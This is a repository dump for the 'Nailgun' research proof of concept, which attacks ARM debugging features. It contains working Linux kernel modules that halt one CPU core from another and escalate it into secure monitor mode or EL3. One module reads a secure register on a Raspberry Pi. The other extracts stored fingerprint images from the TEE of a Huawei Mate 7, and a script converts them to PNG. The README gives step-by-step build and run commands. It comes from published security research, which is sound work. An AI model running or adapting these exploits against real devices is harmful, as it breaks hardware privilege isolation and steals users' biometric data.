├── PoC ├── Read_SCR │ ├── nailgun.ko │ ├── directly_read.ko │ ├── Makefile │ ├── directly_read.c │ └── nailgun.c └── Fingerprint_Extraction │ ├── nailgun.ko │ ├── log2image.py │ └── nailgun.c └── README.md /PoC/Read_SCR/nailgun.ko: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ningzhenyu/nailgun/HEAD/PoC/Read_SCR/nailgun.ko -------------------------------------------------------------------------------- /PoC/Read_SCR/directly_read.ko: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ningzhenyu/nailgun/HEAD/PoC/Read_SCR/directly_read.ko -------------------------------------------------------------------------------- /PoC/Fingerprint_Extraction/nailgun.ko: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ningzhenyu/nailgun/HEAD/PoC/Fingerprint_Extraction/nailgun.ko -------------------------------------------------------------------------------- /PoC/Read_SCR/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += nailgun.o 2 | obj-m += directly_read.o 3 | 4 | all: 5 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 6 | 7 | clean: 8 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean -------------------------------------------------------------------------------- /PoC/Read_SCR/directly_read.c: -------------------------------------------------------------------------------- 1 | #include // included for all kernel modules 2 | #include // included for KERN_INFO 3 | #include // included for __init and __exit macros 4 | #include 5 | 6 | MODULE_LICENSE("GPL"); 7 | MODULE_AUTHOR("Zhenyu Ning"); 8 | MODULE_DESCRIPTION("Read SCR directly with a kernel module running in non-secure state."); 9 | 10 | static int __init directly_read_init(void) { 11 | uint32_t reg; 12 | 13 | // Directly read the SCR will fail since it is only accessible in secure state. 14 | asm volatile("mrc p15, 0, %0, c1, c1, 0" : "=r" (reg)); 15 | printk(KERN_INFO "SCR %x!\n", reg); 16 | 17 | return 0; 18 | } 19 | 20 | static void __exit directly_read_exit(void) { 21 | printk(KERN_INFO "Goodbye!\n"); 22 | } 23 | 24 | module_init(directly_read_init); 25 | module_exit(directly_read_exit); 26 | 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /PoC/Fingerprint_Extraction/log2image.py: -------------------------------------------------------------------------------- 1 | import numpy as np 2 | from PIL import Image 3 | import sys 4 | import math 5 | 6 | FINGERPRINT_START = "--------------------Fingerprint Start" 7 | FINGERPRINT_END = "--------------------Fingerprint End" 8 | 9 | if len(sys.argv) != 2: 10 | print("Usage:") 11 | print("python " + sys.argv[0] + " path_to_log_files") 12 | sys.exit(1) 13 | 14 | file = sys.argv[1] 15 | 16 | datas = [] 17 | log_data = False 18 | with open(file) as fp: 19 | line = fp.readline() 20 | while line: 21 | line = fp.readline().strip() 22 | if line.endswith(FINGERPRINT_START): 23 | print("Collecting fingerprint data...") 24 | log_data = True 25 | data = [] 26 | continue 27 | elif line.endswith(FINGERPRINT_END): 28 | if log_data: 29 | print("Fingerprint data has been collected!") 30 | log_data = False 31 | datas.append(data) 32 | continue 33 | if log_data: 34 | line = line.split(':')[1] 35 | image_data = line.strip().split(' ') 36 | for d in image_data: 37 | data.append(d[6:8]) 38 | data.append(d[4:6]) 39 | data.append(d[2:4]) 40 | data.append(d[0:2]) 41 | 42 | index = 0 43 | for data in datas: 44 | print("Converting fingerprint " + str(index) + " to PNG file") 45 | nrow = int(math.sqrt(len(data))) 46 | img = Image.new("RGB", (nrow, nrow)) 47 | pixels = img.load() 48 | for j in range(nrow): 49 | for i in range(nrow): 50 | pixel = int(data[(nrow - j - 1) * nrow + i], 16) 51 | pixels[i, j] = (pixel, pixel, pixel) 52 | img.save("fingerprint_" + str(index) + ".png") 53 | print("Fingerprint " + str(index) + " has been saved as fingerprint_" + str(index) + ".png") 54 | index += 1 55 | 56 | print("All done, cheers!") 57 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # Nailgun: Break the privilege isolation in ARM devices 3 | 4 | ## Overview 5 | Processors nowadays are consistently equipped with debugging features to facilitate the program debugging and analysis. Specifically, the ARM debugging architecture involves a series of CoreSight components and debug registers to aid the system debugging, but the security of the debugging features is under-examined since it normally requires physical access to use these features in the traditional debugging model. 6 | 7 | The idea of Nailgun Attack is to misuse the debugging architecture with the inter-processor debugging model. In the inter-processor debugging model, a processor (debug host) is able to pause and debug another processor (debug target) on the same chip even when the debug target owns a higher privilege. With Nailgun, we are able to obtain sensitive information and achieve arbitrary payload execution in a high-privilege mode. 8 | 9 | For more details, please check our website http://compass.sustech.edu.cn//nailgun 10 | 11 | ## Proof of Concept 12 | We will make two PoCs available on Github: 13 | 14 | ### PoC #1: Reading Secure Configuration Register with a kernel module. 15 | #### Platform 16 | - Deivce: Raspberry PI 3 Model B+ 17 | - Firmware: Raspbian GNU/Linux 9.6 (stretch) 18 | 19 | #### Description 20 | In this PoC, we we use a kernel module running in non-secure EL1 to read Secure Configuration Register (SCR), which is only accessiable in secure state, on Raspberry PI. The fold ```PoC/Read_SCR``` contains the source code and prebuild binaries for two kernel modules. The first kernel module _directly_read.ko_ read the SCR directly, which lead to segmentation fault. The kernel module _nailgun.ko_ leverages Nailgun attack to read the SCR 21 | 22 | #### Prepare 23 | If you are going to build the kernel module from the source code, you need to install the compile tools and kernel headers with the following command, 24 | ``` 25 | pi@raspberrypi:~/ $ sudo apt-get install build-essential raspberrypi-kernel-headers 26 | ``` 27 | Then, get into the source code fold, and compile the kernel module 28 | ``` 29 | pi@raspberrypi:~/ $ cd PoC/Read_SCR 30 | pi@raspberrypi:~/PoC/Read_SCR $ make 31 | ``` 32 | 33 | #### Run 34 | Use _insmod_ command to install the corresponding kernel module, and use _dmesg_ to check the kernel logs. 35 | ``` 36 | pi@raspberrypi:~/PoC/Read_SCR $ sudo insmod directly_read.ko 37 | pi@raspberrypi:~/PoC/Read_SCR $ dmesg 38 | pi@raspberrypi:~/PoC/Read_SCR $ sudo insmod nailgun.ko 39 | pi@raspberrypi:~/PoC/Read_SCR $ dmesg 40 | ``` 41 | The value of the SCR can be found in the kernel log. 42 | 43 | #### Demo Video 44 | https://youtu.be/dlKK_69HJnk 45 | 46 | ### PoC #2: Extracting the fingerprint image. 47 | #### Platform 48 | - Deivce: Huawei Mate 7 (MT-L09) 49 | - Firmware: MT7-L09V100R001C00B121SP05 50 | 51 | #### Description 52 | In this PoC, we use a kernel module running in non-secure EL1 to extract the fingerprint image 53 | stored in TEE on Huawei Mate 7. The fold ```PoC/Fingerprint_Extraction``` contains the source code for the kernel module that extracts fingerprint data from TEE, a prebuild binary of the kernel module, and a python script to convert the extracted image data to a PNG file. 54 | 55 | #### Prepare 56 | - Make sure you have scanned a fingerprint with the fingerprint sensor. 57 | - Enable USB debugging on your phone and connect it to your PC. (**Nailgun attack doesn't require physical access to the phone, the connection is only used for transferring the binary to the phone and moving the output log to the PC.**) 58 | - Make sure you have root access on your phone. 59 | 60 | #### Run 61 | Firstly, push the prebuild binary into the phone 62 | ``` 63 | adb push nailgun.ko /sdcard/ 64 | ``` 65 | Next, in the _adb shell_ console of the phone, install the kernel module 66 | ``` 67 | adb shell 68 | shell@hwmt7:/ $ su 69 | root@hwmt7:/ # insmod /sdcard/nailgun.ko 70 | ``` 71 | Check the kernel log with _dmesg_ command 72 | ``` 73 | root@hwmt7:/ # dmesg 74 | ``` 75 | If you can find the fingerprint data similar to this 76 | ``` 77 | <6>[ 51.284149] [0.1, swapper/1] --------------------Fingerprint Start 78 | <6>[ 51.284210] [0.1, swapper/1] 2ef5efac: 412f0100 87796552 e8e2dfd4 eff0eeea 79 | <6>[ 51.284240] [0.1, swapper/1] 2ef5efbc: f3f3f3f3 f3f1f8f6 f3f3f2f1 eff4f4f8 80 | <6>[ 51.284301] [0.1, swapper/1] 2ef5efcc: f1f0f2f0 f1f0eff3 f1f1efee efeff0ee 81 | <6>[ 51.284332] [0.1, swapper/1] 2ef5efdc: e7ecefeb e8e9e8ed e6e4e3e6 e1e5e5e6 82 | <6>[ 51.284393] [0.1, swapper/1] 2ef5efec: e9e5e6e4 dfe3e3e6 e4e5e5e2 e0e3e3e3 83 | <6>[ 51.284423] [0.1, swapper/1] 2ef5effc: dee1e3e2 e8e6e1df eae8e6e7 eaeceeeb 84 | <6>[ 51.284484] [0.1, swapper/1] 2ef5f00c: e5e3e5e5 edebe6e7 edefeff1 f1eeeff0 85 | <6>[ 51.284515] [0.1, swapper/1] 2ef5f01c: e7eaebea e9e9e8e5 e6e7eaeb e4e5e4e2 86 | <6>[ 51.284576] [0.1, swapper/1] 2ef5f02c: e7e9e8e8 e5e6e7e6 e7eae7ea e2e4e4e5 87 | ``` 88 | then the PoC works. 89 | Next, dump the kernel log to file, and extract the file from the phone to your PC 90 | ``` 91 | root@hwmt7:/ # dmesg > /sdcard/nailgun.log 92 | root@hwmt7:/ # exit 93 | shell@hwmt7:/ $ exit 94 | adb pull /sdcard/nailgun.log . 95 | ``` 96 | Finally, use the python script to convert the fingerprint data to a PNG file 97 | ``` 98 | python log2image.py nailgun.log 99 | ``` 100 | You will find the extracted fingerprint images are stored into PNG files naming _fingerprint\_x.png_, in which _x_ means the index of the image. 101 | 102 | #### Demo Video 103 | https://youtu.be/5ioyneewFYQ 104 | 105 | ## Publication 106 | ``` 107 | @InProceedings{nailgun19, 108 | Title = {Understanding the security of ARM debugging features}, 109 | Author = {Zhenyu Ning and Fengwei Zhang}, 110 | Booktitle = {Proceedings of the 40th IEEE Symposium on Security and Privacy (S&P'19)}, 111 | Year = {2019} 112 | } 113 | ``` 114 | 115 | ## Contact 116 | - Zhenyu Ning 117 | - ningzy _at_ sustech.edu.cn 118 | - Compass Lab, Wayne State University (http://compass.sustech.edu.cn/) 119 | -------------------------------------------------------------------------------- /PoC/Fingerprint_Extraction/nailgun.c: -------------------------------------------------------------------------------- 1 | 2 | #include // included for all kernel modules 3 | #include // included for KERN_INFO 4 | #include // included for __init and __exit macros 5 | #include 6 | 7 | MODULE_LICENSE("GPL"); 8 | MODULE_AUTHOR("Zhenyu Ning"); 9 | MODULE_DESCRIPTION("Using Nailgun attack to extract fingerprint image"); 10 | MODULE_INFO(vermagic, "3.10.30-00146-g71289f7-dirty SMP preempt mod_unload ARMv7 p2v8 "); 11 | 12 | // 0xFFEB0000 is the base address of the debug registers on Core 0 13 | #define DEBUG_REGISTER_ADDR 0xFFEB0000 14 | #define DEBUG_REGISTER_SIZE 0x1000 15 | 16 | #define FINGPRINT_DATA_POINTER_ADDR 0x2EFAD510 17 | #define FINGPRINT_DATA_SIZE_ADDR 0x2EF7F414 18 | 19 | // Offsets of debug registers 20 | #define DBGITR_OFFSET 0x84 21 | #define DBGDSCR_OFFSET 0x88 22 | #define DBGDTRTX_OFFSET 0x8c 23 | #define DBGDRCR_OFFSET 0x90 24 | #define DBGOSLAR_OFFSET 0x300 25 | #define DBGLAR_OFFSET 0xfb0 26 | 27 | // Bits in DBGDSCR 28 | #define HALTED (1 << 0) 29 | #define RESTARTED (1 << 1) 30 | #define ITREN (1 << 13) 31 | #define HDBGEN (1 << 14) 32 | #define INSTR_COMPLE_L (1 << 24) 33 | #define TXFULL_L (1 << 26) 34 | 35 | // Bits in DBGDRCR 36 | #define HRQ (1 << 0) 37 | #define RRQ (1 << 1) 38 | 39 | static void execute_ins_via_itr(void __iomem *debug, uint32_t ins) { 40 | uint32_t reg; 41 | // Write instruction to DBGITR register to execute it 42 | iowrite32(ins, debug + DBGITR_OFFSET); 43 | 44 | // Wait until the execution is finished 45 | reg = ioread32(debug + DBGDSCR_OFFSET); 46 | while ((reg & INSTR_COMPLE_L) != INSTR_COMPLE_L) { 47 | reg = ioread32(debug + DBGDSCR_OFFSET); 48 | } 49 | } 50 | 51 | static uint32_t read_register_via_r0(void __iomem *debug, uint32_t ins) { 52 | uint32_t reg; 53 | // Execute the ins to copy the target register to R0 54 | execute_ins_via_itr(debug, ins); 55 | // Copy R0 to the DCC register DBGDTRTX 56 | // 0xee000e15 <=> mcr p14, 0, R0, c0, c5, 0 57 | execute_ins_via_itr(debug, 0xee000e15); 58 | // Read the DBGDTRTX via the memory mapped interface 59 | reg = ioread32(debug + DBGDSCR_OFFSET); 60 | if ((reg & TXFULL_L) != TXFULL_L) { 61 | printk(KERN_ERR "%s failed! DBGDSCR: 0x%08x\n", __func__, reg); 62 | return 0; 63 | } 64 | return ioread32(debug + DBGDTRTX_OFFSET); 65 | } 66 | 67 | static uint32_t read_memory_via_dcc(void __iomem *debug, uint32_t addr) { 68 | // movw R0, addr[15:0] 69 | uint32_t inst = 0xe3000000 | ((addr & 0xf000) << 4) | (addr & 0xfff); 70 | execute_ins_via_itr(debug, inst); 71 | // movt R0 addr[31:16] 72 | inst = 0xe3400000 | ((addr >> 12) & 0xf0000) | ((addr >> 16) & 0xfff); 73 | execute_ins_via_itr(debug, inst); 74 | // 0xe5910000 <=> ldr R0, [R0] 75 | execute_ins_via_itr(debug, 0xe5900000); 76 | // read R0 via DBGDTRTX 77 | return read_register_via_r0(debug, 0xee000e15); 78 | } 79 | 80 | static void output_fingerprint_data(void __iomem* debug, uint32_t start, uint32_t size) { 81 | uint32_t i, addr; 82 | printk(KERN_INFO "--------------------Fingerprint Start\n"); 83 | for (i = 0; i < size; i = i + 0x10) { 84 | addr = start + i; 85 | printk(KERN_INFO "%08x: %08x %08x %08x %08x\n", addr, 86 | read_memory_via_dcc(debug, addr), 87 | read_memory_via_dcc(debug, addr + 0x4), 88 | read_memory_via_dcc(debug, addr + 0x8), 89 | read_memory_via_dcc(debug, addr + 0xc)); 90 | } 91 | printk(KERN_INFO "--------------------Fingerprint End\n"); 92 | } 93 | 94 | static void fingerprint_extraction(void __iomem* debug_register) { 95 | uint32_t reg, cpsr_old, fingerprint_addr, fingerprint_size; 96 | 97 | // Step 1: Unlock debug registers 98 | printk(KERN_INFO "Step 1: Unlock debug registers\n"); 99 | iowrite32(0xc5acce55, debug_register + DBGLAR_OFFSET); 100 | iowrite32(0x0, debug_register + DBGOSLAR_OFFSET); 101 | 102 | // Step 2: Enable halting debug on the target processor 103 | printk(KERN_INFO "Step 2: Enable halting debug\n"); 104 | reg = ioread32(debug_register + DBGDSCR_OFFSET); 105 | reg |= HDBGEN; 106 | iowrite32(reg, debug_register + DBGDSCR_OFFSET); 107 | 108 | // Step 3: Halt the target processor 109 | printk(KERN_INFO "Step 3: Halt the target processor\n"); 110 | iowrite32(HRQ, debug_register + DBGDRCR_OFFSET); 111 | reg = ioread32(debug_register + DBGDSCR_OFFSET); 112 | while ((reg & HALTED) != HALTED) { 113 | reg = ioread32(debug_register + DBGDSCR_OFFSET); 114 | } 115 | 116 | // Step 4: Enable the usage of DBGITR in debug state 117 | printk(KERN_INFO "Step 4: Enable instruction execution in debug state\n"); 118 | reg |= ITREN; 119 | iowrite32(reg, debug_register + DBGDSCR_OFFSET); 120 | 121 | // Step 5: Save R0 to stack since we are going to change R0 122 | printk(KERN_INFO "Step 5: Save R0 to the stack\n"); 123 | // 0xe52d0004 <=> push {R0} 124 | execute_ins_via_itr(debug_register, 0xe52d0004); 125 | 126 | // Step 6: Switch to monitor mode to access secure resource 127 | printk(KERN_INFO "Step 6: Switch to monitor mode\n"); 128 | // 0xe10f0000 <=> mrs R0, CPSR 129 | cpsr_old = read_register_via_r0(debug_register, 0xe10f0000); 130 | // 0xe3c0001f <=> bic R0, R0, 0x1f 131 | execute_ins_via_itr(debug_register, 0xe3c0001f); 132 | // 0xe3800016 <=> orr R0, R0, 0x16 133 | execute_ins_via_itr(debug_register, 0xe3800016); 134 | // 0xe122f000 <=> msr CPSR_fsxc, R0 135 | execute_ins_via_itr(debug_register, 0xe12ff000); 136 | // 0xf57ff06f <=> isb 137 | execute_ins_via_itr(debug_register, 0xf57ff06f); 138 | 139 | // Step 7: Read the fingerprint data 140 | printk(KERN_INFO "Step 7: Output fingerprint data\n"); 141 | fingerprint_addr = read_memory_via_dcc(debug_register, FINGPRINT_DATA_POINTER_ADDR); 142 | fingerprint_size = read_memory_via_dcc(debug_register, FINGPRINT_DATA_SIZE_ADDR); 143 | output_fingerprint_data(debug_register, fingerprint_addr, fingerprint_size); 144 | 145 | // Step 8: Switch back to the previous cpu mode 146 | printk(KERN_INFO "Step 8: Switch back to the previous cpu mode\n"); 147 | // 0xe10f0000 <=> mrs R0, CPSR 148 | read_register_via_r0(debug_register, 0xe10f0000); 149 | // 0xe3c0001f <=> bic R0, R0, 0x1f 150 | execute_ins_via_itr(debug_register, 0xe3c0001f); 151 | execute_ins_via_itr(debug_register, 0xe3800000 | (cpsr_old & 0x1f)); 152 | // 0xe12ff000 <=> msr CPSR_fsxc, R0 153 | execute_ins_via_itr(debug_register, 0xe12ff000); 154 | // 0xf57ff06f <=> isb 155 | execute_ins_via_itr(debug_register, 0xf57ff06f); 156 | 157 | // Step 9: Restore R0 from stack 158 | printk(KERN_INFO "Step 9: Restore R0 from the stack\n"); 159 | // 0xe49d0004 <=> pop {R0} 160 | execute_ins_via_itr(debug_register, 0xe49d0004); 161 | 162 | // Step 10: Disable EDITR before exiting debug state 163 | printk(KERN_INFO "Step 10: Disable instruction execution in debug state\n"); 164 | reg = ioread32(debug_register + DBGDSCR_OFFSET); 165 | reg &= ~ITREN; 166 | iowrite32(reg, debug_register + DBGDSCR_OFFSET); 167 | 168 | // Step 11: Restart the target processor 169 | printk(KERN_INFO "Step 11: Restart the target processor\n"); 170 | iowrite32(RRQ, debug_register + DBGDRCR_OFFSET); 171 | reg = ioread32(debug_register + DBGDSCR_OFFSET); 172 | while ((reg & RESTARTED) != RESTARTED) { 173 | reg = ioread32(debug_register + DBGDSCR_OFFSET); 174 | } 175 | printk(KERN_INFO "All done, check the kernel log to get the fingerprint data\n"); 176 | } 177 | 178 | static int __init nailgun_init(void) 179 | { 180 | void __iomem* debug_register; 181 | 182 | // Mapping the debug registers into virtual memory space 183 | debug_register = ioremap(DEBUG_REGISTER_ADDR, DEBUG_REGISTER_SIZE); 184 | // We use the Core 1 to extract the fingerprint image via debugging Core 0 185 | smp_call_function_single(1, fingerprint_extraction, debug_register, 1); 186 | iounmap(debug_register); 187 | return 0; 188 | } 189 | 190 | static void __exit nailgun_cleanup(void) 191 | { 192 | printk(KERN_INFO "Goodbye!\n"); 193 | } 194 | 195 | module_init(nailgun_init); 196 | module_exit(nailgun_cleanup); 197 | -------------------------------------------------------------------------------- /PoC/Read_SCR/nailgun.c: -------------------------------------------------------------------------------- 1 | #include // included for all kernel modules 2 | #include // included for KERN_INFO 3 | #include // included for __init and __exit macros 4 | #include 5 | #include 6 | 7 | MODULE_LICENSE("GPL"); 8 | MODULE_AUTHOR("Zhenyu Ning"); 9 | MODULE_DESCRIPTION("Read SCR by Nailgun attack with a non-secure kernel module"); 10 | 11 | // 0x40030000 is the base address of the debug registers on Core 0 12 | #define DEBUG_REGISTER_ADDR 0x40030000 13 | #define DEBUG_REGISTER_SIZE 0x1000 14 | 15 | // 0x40030000 is the base address of the cross trigger interface registers on Core 0 16 | #define CTI_REGISTER_ADDR 0x40038000 17 | #define CTI_REGISTER_SIZE 0x1000 18 | 19 | // Offsets of debug registers 20 | #define DBGDTRRX_OFFSET 0x80 21 | #define EDITR_OFFSET 0x84 22 | #define EDSCR_OFFSET 0x88 23 | #define DBGDTRTX_OFFSET 0x8C 24 | #define EDRCR_OFFSET 0x90 25 | #define OSLAR_OFFSET 0x300 26 | #define EDLAR_OFFSET 0xFB0 27 | 28 | // Bits in EDSCR 29 | #define STATUS (0x3f) 30 | #define ERR (1 << 6) 31 | #define HDE (1 << 14) 32 | #define ITE (1 << 24) 33 | 34 | // Bits in EDRCR 35 | #define CSE (1 << 2) 36 | 37 | // Offsets of cross trigger registers 38 | #define CTICONTROL_OFFSET 0x0 39 | #define CTIINTACK_OFFSET 0x10 40 | #define CTIAPPPULSE_OFFSET 0x1C 41 | #define CTIOUTEN0_OFFSET 0xA0 42 | #define CTIOUTEN1_OFFSET 0xA4 43 | #define CTITRIGOUTSTATUS_OFFSET 0x134 44 | #define CTIGATE_OFFSET 0x140 45 | 46 | // Bits in CTICONTROL 47 | #define GLBEN (1 << 0) 48 | 49 | // Bits in CTIINTACK 50 | #define ACK0 (1 << 0) 51 | #define ACK1 (1 << 1) 52 | 53 | // Bits in CTIAPPPULSE 54 | #define APPPULSE0 (1 << 0) 55 | #define APPPULSE1 (1 << 1) 56 | 57 | // Bits in CTIOUTEN 58 | #define OUTEN0 (1 << 0) 59 | #define OUTEN1 (1 << 1) 60 | 61 | // Bits in CTITRIGOUTSTATUS 62 | #define TROUT0 (1 << 0) 63 | #define TROUT1 (1 << 1) 64 | 65 | // Bits in CTIGATE 66 | #define GATE0 (1 << 0) 67 | #define GATE1 (1 << 1) 68 | 69 | // Values of EDSCR.STATUS 70 | #define NON_DEBUG 0x2 71 | #define HLT_BY_DEBUG_REQUEST 0x13 72 | 73 | struct nailgun_param { 74 | void __iomem *debug_register; 75 | void __iomem *cti_register; 76 | } t_param; 77 | 78 | static void execute_ins_via_itr(void __iomem *debug, uint32_t ins) { 79 | uint32_t reg; 80 | // clear previous errors 81 | iowrite32(CSE, debug + EDRCR_OFFSET); 82 | 83 | // Write instruction to EDITR register to execute it 84 | iowrite32(ins, debug + EDITR_OFFSET); 85 | 86 | // Wait until the execution is finished 87 | reg = ioread32(debug + EDSCR_OFFSET); 88 | while ((reg & ITE) != ITE) { 89 | reg = ioread32(debug + EDSCR_OFFSET); 90 | } 91 | 92 | if ((reg & ERR) == ERR) { 93 | printk(KERN_ERR "%s failed! instruction: 0x%08x EDSCR: 0x%08x\n", 94 | __func__, ins, reg); 95 | } 96 | } 97 | 98 | static uint32_t save_register(void __iomem *debug, uint32_t ins) { 99 | // Execute the ins to copy the target register to R0 100 | execute_ins_via_itr(debug, ins); 101 | // Copy R0 to the DCC register DBGDTRTX 102 | // 0xee000e15 <=> mcr p14, 0, R0, c0, c5, 0 103 | execute_ins_via_itr(debug, 0x0e15ee00); 104 | // Read the DBGDTRTX via the memory mapped interface 105 | return ioread32(debug + DBGDTRTX_OFFSET); 106 | } 107 | 108 | static void restore_register(void __iomem *debug, uint32_t ins, uint32_t val) { 109 | // Copy value to the DBGDTRRX via the memory mapped interface 110 | iowrite32(val, debug + DBGDTRRX_OFFSET); 111 | // Copy the DCC register DBGDTRRX to R0 112 | // 0xee100e15 <=> mrc p14, 0, R0, c0, c5, 0 113 | execute_ins_via_itr(debug, 0x0e15ee10); 114 | // Execute the ins to copy R0 to the target register 115 | execute_ins_via_itr(debug, ins); 116 | } 117 | 118 | static void read_scr(void *addr) { 119 | uint32_t reg, r0_old, dlr_old, scr; 120 | struct nailgun_param *param = (struct nailgun_param *)addr; 121 | 122 | // Step 1: Unlock debug and cross trigger reigsters 123 | printk(KERN_INFO "Step 1: Unlock debug and cross trigger registers\n"); 124 | iowrite32(0xc5acce55, param->debug_register + EDLAR_OFFSET); 125 | iowrite32(0xc5acce55, param->cti_register + EDLAR_OFFSET); 126 | iowrite32(0x0, param->debug_register + OSLAR_OFFSET); 127 | iowrite32(0x0, param->cti_register + OSLAR_OFFSET); 128 | 129 | // Step 2: Enable halting debug on the target processor 130 | printk(KERN_INFO "Step 2: Enable halting debug\n"); 131 | reg = ioread32(param->debug_register + EDSCR_OFFSET); 132 | reg |= HDE; 133 | iowrite32(reg, param->debug_register + EDSCR_OFFSET); 134 | 135 | // Step 3: Send halt request to the target processor 136 | printk(KERN_INFO "Step 3: Halt the target processor\n"); 137 | iowrite32(GLBEN, param->cti_register + CTICONTROL_OFFSET); 138 | reg = ioread32(param->cti_register + CTIGATE_OFFSET); 139 | reg &= ~GATE0; 140 | iowrite32(reg, param->cti_register + CTIGATE_OFFSET); 141 | reg = ioread32(param->cti_register + CTIOUTEN0_OFFSET); 142 | reg |= OUTEN0; 143 | iowrite32(reg, param->cti_register + CTIOUTEN0_OFFSET); 144 | reg = ioread32(param->cti_register + CTIAPPPULSE_OFFSET); 145 | reg |= APPPULSE0; 146 | iowrite32(reg, param->cti_register + CTIAPPPULSE_OFFSET); 147 | 148 | // Step 4: Wait the target processor to halt 149 | printk(KERN_INFO "Step 4: Wait the target processor to halt\n"); 150 | reg = ioread32(param->debug_register + EDSCR_OFFSET); 151 | while ((reg & STATUS) != HLT_BY_DEBUG_REQUEST) { 152 | reg = ioread32(param->debug_register + EDSCR_OFFSET); 153 | } 154 | reg = ioread32(param->cti_register + CTIINTACK_OFFSET); 155 | reg |= ACK0; 156 | iowrite32(reg, param->cti_register + CTIINTACK_OFFSET); 157 | reg = ioread32(param->cti_register + CTITRIGOUTSTATUS_OFFSET); 158 | while ((reg & TROUT0) == TROUT0) { 159 | reg = ioread32(param->cti_register + CTITRIGOUTSTATUS_OFFSET); 160 | } 161 | 162 | // Step 5: Save context of the target core 163 | printk(KERN_INFO "Step 5: Save context\n"); 164 | // 0xee000e15 <=> mcr p14, 0, R0, c0, c5, 0 165 | execute_ins_via_itr(param->debug_register, 0x0e15ee00); 166 | r0_old = ioread32(param->debug_register + DBGDTRTX_OFFSET); 167 | // 0xee740f35 <=> mrc p15, 3, R0, c4, c5, 1 168 | dlr_old = save_register(param->debug_register, 0x0f35ee74); 169 | 170 | // Step 6: Switch to EL3 to access secure resource 171 | printk(KERN_INFO "Step 6: Switch to EL3\n"); 172 | // 0xf78f8003 <=> dcps3 173 | execute_ins_via_itr(param->debug_register, 0x8003f78f); 174 | 175 | // Step 7: Read the SCR 176 | printk(KERN_INFO "Step 7: Read SCR\n"); 177 | // 0xee110f11 <=> mrc p15, 0, R0, c1, c1, 0 178 | execute_ins_via_itr(param->debug_register, 0x0f11ee11); 179 | // 0xee000e15 <=> mcr p14, 0, R0, c0, c5, 0 180 | execute_ins_via_itr(param->debug_register, 0x0e15ee00); 181 | scr = ioread32(param->debug_register + DBGDTRTX_OFFSET); 182 | 183 | // Step 8: Restore context 184 | printk(KERN_INFO "Step 8: Restore context\n"); 185 | // 0x0f35ee64 <=> mcr p15, 3, R0, c4, c5, 1 186 | restore_register(param->debug_register, 0x0f35ee64, dlr_old); 187 | iowrite32(r0_old, param->debug_register + DBGDTRRX_OFFSET); 188 | // 0xee100e15 <=> mrc p14, 0, R0, c0, c5, 0 189 | execute_ins_via_itr(param->debug_register, 0x0e15ee10); 190 | 191 | // Step 9: Send restart request to the target processor 192 | printk(KERN_INFO "Step 9: Send restart request to the target processor\n"); 193 | reg = ioread32(param->cti_register + CTIGATE_OFFSET); 194 | reg &= ~GATE1; 195 | iowrite32(reg, param->cti_register + CTIGATE_OFFSET); 196 | reg = ioread32(param->cti_register + CTIOUTEN1_OFFSET); 197 | reg |= OUTEN1; 198 | iowrite32(reg, param->cti_register + CTIOUTEN1_OFFSET); 199 | reg = ioread32(param->cti_register + CTIAPPPULSE_OFFSET); 200 | reg |= APPPULSE1; 201 | iowrite32(reg, param->cti_register + CTIAPPPULSE_OFFSET); 202 | 203 | // Step 10: Wait the target processor to restart 204 | printk(KERN_INFO "Step 10: Wait the target processor to restart\n"); 205 | reg = ioread32(param->debug_register + EDSCR_OFFSET); 206 | while ((reg & STATUS) != NON_DEBUG) { 207 | reg = ioread32(param->debug_register + EDSCR_OFFSET); 208 | } 209 | reg = ioread32(param->cti_register + CTIINTACK_OFFSET); 210 | reg |= ACK1; 211 | iowrite32(reg, param->cti_register + CTIINTACK_OFFSET); 212 | reg = ioread32(param->cti_register + CTITRIGOUTSTATUS_OFFSET); 213 | while ((reg & TROUT1) == TROUT1) { 214 | reg = ioread32(param->cti_register + CTITRIGOUTSTATUS_OFFSET); 215 | } 216 | 217 | printk(KERN_INFO "All done! The value of SCR is 0x%08x\n", scr); 218 | } 219 | 220 | static int __init nailgun_init(void) { 221 | struct nailgun_param *param = kmalloc(sizeof(t_param), GFP_KERNEL); 222 | 223 | // Mapping the debug and cross trigger registers into virtual memory space 224 | param->debug_register = ioremap(DEBUG_REGISTER_ADDR, DEBUG_REGISTER_SIZE); 225 | param->cti_register = ioremap(CTI_REGISTER_ADDR, CTI_REGISTER_SIZE); 226 | // We use the Core 1 to read the SCR via debugging Core 0 227 | smp_call_function_single(1, read_scr, param, 1); 228 | iounmap(param->cti_register); 229 | iounmap(param->debug_register); 230 | 231 | kfree(param); 232 | return 0; 233 | } 234 | 235 | static void __exit nailgun_exit(void) { 236 | printk(KERN_INFO "Goodbye!\n"); 237 | } 238 | module_init(nailgun_init); 239 | module_exit(nailgun_exit); --------------------------------------------------------------------------------